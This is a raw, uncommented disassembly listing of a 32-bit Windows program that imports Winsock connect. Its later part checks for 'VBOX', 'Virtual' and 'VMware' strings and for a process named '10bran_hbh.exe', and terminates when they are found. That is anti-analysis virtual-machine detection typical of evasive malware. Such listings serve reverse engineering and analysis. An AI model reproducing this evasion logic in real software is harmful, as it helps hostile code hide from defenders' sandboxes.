push 0x525c9d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x417ef2
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x525053]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.004011d3
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.004011d3
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x417f74
mov eax, 0x524deb
push eax
push 3
mov ebx, 0x433680
call fcn.00432e85
add esp, 0x28
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
push eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x417fa4
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x5c], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x524e48
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x417fd9
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fsub qword [0x524e28]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
call fcn.004011d3
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x41802a
mov eax, 0x524deb
push eax
push 2
mov ebx, 0x4335f0
call fcn.00432e85
add esp, 0x1c
mov dword [ebp - 0x88], eax
push 0
push dword [ebp - 0x88]
push 0xffffffffffffffff
push 8
push 0x160100da
push 0x52010001
call fcn.00432e9d
add esp, 0x18
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x418074
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x418087
mov eax, 0x524deb
push eax
push 1
mov ebx, 0x433450
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x74], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x524e48
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x4180ce
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
fild dword [ebp - 0x74]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
fild dword [ebp - 0x78]
fstp qword [ebp - 0x88]
fsub qword [ebp - 0x88]
fstp qword [ebp - 0x90]
fld qword [ebp - 0x90]
call fcn.004011d3
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x418128
mov eax, 0x524deb
push eax
push 2
mov ebx, 0x433630
call fcn.00432e85
add esp, 0x1c
mov dword [ebp - 0x94], eax
push 0
push dword [ebp - 0x94]
push 0xffffffffffffffff
push 8
push 0x160100db
push 0x52010001
call fcn.00432e9d
add esp, 0x18
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x418172
push ebx
call fcn.00432e91
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525ca3
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4181a3
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x418366
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525cac
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4181f4
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x525053]
fstp qword [ebp - 0x84]
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x52519f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x418250
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525cac
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x41829a
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x525053]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.004011d3
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.004011d3
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x41831c
mov eax, 0x524deb
push eax
push 3
mov ebx, 0x433680
call fcn.00432e85
add esp, 0x28
mov dword [ebp - 0xa8], eax
push 0
push dword [ebp - 0xa8]
push 0xffffffffffffffff
push 8
push 0x160100dc
push 0x52010001
call fcn.00432e9d
add esp, 0x18
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x418366
push ebx
call fcn.00432e91
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525caf
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x418397
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x418682
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x525cba
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x525caf
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x418406
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x418416
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x41842d
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x60], eax
lea eax, [ebp - 4]
push eax
call fcn.0041cb15
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x418451
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x64], eax
push 0x524deb
push dword [ebp - 0x64]
call fcn.0040104f
add esp, 8
cmp eax, 0
jne 0x418494
lea eax, [ebp - 4]
push eax
call fcn.0041cb15
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x41848e
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x64], eax
jmp 0x418455
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525773
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x60]
test eax, eax
jne 0x4184b9
mov eax, 0x524deb
push eax
push 3
mov ebx, 0x434370
call fcn.00432e85
add esp, 0x28
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x68]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4184f1
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4184ed
imul eax, dword [ebx]
jmp 0x4184e2
mov ecx, eax
test ecx, ecx
je 0x418510
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x418509
push ebx
push eax
call fcn.00432e91
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4184f7
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x68]
call fcn.00402e35
xor ecx, ecx
push eax
lea eax, [ebp - 0x6c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4185db
mov ebx, dword [ebp - 0x68]
call fcn.004010ec
push ebx
push ecx
mov eax, dword [ebp - 0x6c]
dec eax
jns 0x418558
push 4
call fcn.00432e79
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x41856b
push 1
call fcn.00432e79
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x74]
mov eax, dword [ebx]
test eax, eax
jne 0x41859a
mov eax, 0x524deb
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x64]
test eax, eax
jne 0x4185ae
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xffffffff
je 0x4185d3
jmp 0x4185db
pop eax
pop ebx
pop ecx
jmp 0x41852d
add esp, 0xc
cmp dword [ebp - 0x70], 0xffffffff
jne 0x418682
mov dword [0x5f2c6c], 0
push 0x525cbd
push dword [ebp - 0x64]
push 0x525ce2
mov ecx, 3
call fcn.00401177
add esp, 0xc
mov dword [ebp - 0x74], eax
mov ebx, 6
call fcn.004011fa
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x418638
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x436200
call fcn.00432e85
add esp, 0x34
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x41865b
push ebx
call fcn.00432e91
add esp, 4
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x16010010
push 0x52010001
call fcn.00432e9d
add esp, 0x18
push 0
call fcn.00432ea9
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525ce7
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4186b3
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x418827
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.VBOX
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5f2c68]
test eax, eax
jne 0x418706
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
jne 0x4187dc
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.Virtual
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5f2c68]
test eax, eax
jne 0x418759
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xffffffff
jne 0x4187dc
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.VMware
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5f2c68]
test eax, eax
jne 0x4187b2
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xffffffff
jne 0x4187dc
xor eax, eax
jmp 0x4187e1
mov eax, 1
test eax, eax
je 0x418827
mov ebx, 6
call fcn.004011fa
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525d09
push 4
mov ebx, 0x436200
call fcn.00432e85
add esp, 0x34
push 0
call fcn.00432ea9
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525d1a
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x418858
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x4189a3
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x74], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.test
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x4188c2
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4188e8
push ebx
call fcn.00432e91
add esp, 4
cmp dword [ebp - 0x78], 0xffffffff
je 0x418958
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x80], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x80]
test eax, eax
jne 0x41891e
mov eax, 0x524deb
push eax
push 1
mov ebx, 0x433450
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x418947
push ebx
call fcn.00432e91
add esp, 4
cmp dword [ebp - 0x84], 4
jne 0x418958
xor eax, eax
jmp 0x41895d
mov eax, 1
test eax, eax
je 0x4189a3
mov ebx, 6
call fcn.004011fa
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525d2a
push 4
mov ebx, 0x436200
call fcn.00432e85
add esp, 0x34
push 0
call fcn.00432ea9
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525d53
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4189d4
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x418b11
push 0
mov ebx, 0x4334b0
call fcn.00432e85
add esp, 4
mov dword [ebp - 0x74], eax
push str.10bran_hbh.exe
push dword [ebp - 0x74]
call fcn.0040104f
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x418a37
push ebx
call fcn.00432e91
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x418a92
mov dword [0x5f2c6c], 0
mov dword [ebp - 0x74], esp
push 0x7d0
push 0
push 0x40
push 0x524d9d
push 0x525d5c
push 0
mov eax, 0x30
call fcn.00432e7f
cmp dword [ebp - 0x74], esp
je 0x418a88
push 6
call fcn.00432e79
add esp, 4
push 0
call fcn.00432ea9
add esp, 4
mov eax, str.10bran_hbh.exe
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x74]
push eax
call fcn.0041cd41
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x418ab6
push ebx
call fcn.00432e91
add esp, 4
cmp dword [ebp - 0x78], 1
jle 0x418b11
mov dword [0x5f2c6c], 0
mov dword [ebp - 0x74], esp
push 0x7d0
push 0
push 0x40
push 0x524d9d
push 0x525d8a
push 0
mov eax, 0x30
call fcn.00432e7f
cmp dword [ebp - 0x74], esp
je 0x418b07
push 6
call fcn.00432e79
add esp, 4
push 0
call fcn.00432ea9
add esp, 4
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x418b21
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x418b31
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x418b41
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x418b51
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x418b61
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x418b7f
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x418b7b
imul eax, dword [ebx]
jmp 0x418b70
mov ecx, eax
test ecx, ecx
je 0x418b9e
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x418b97
push ebx
push eax
call fcn.00432e91
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x418b85
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x418bb6
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x418bc6
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x418bd6
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x418be6
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x418bf6
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x418c06
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x418c16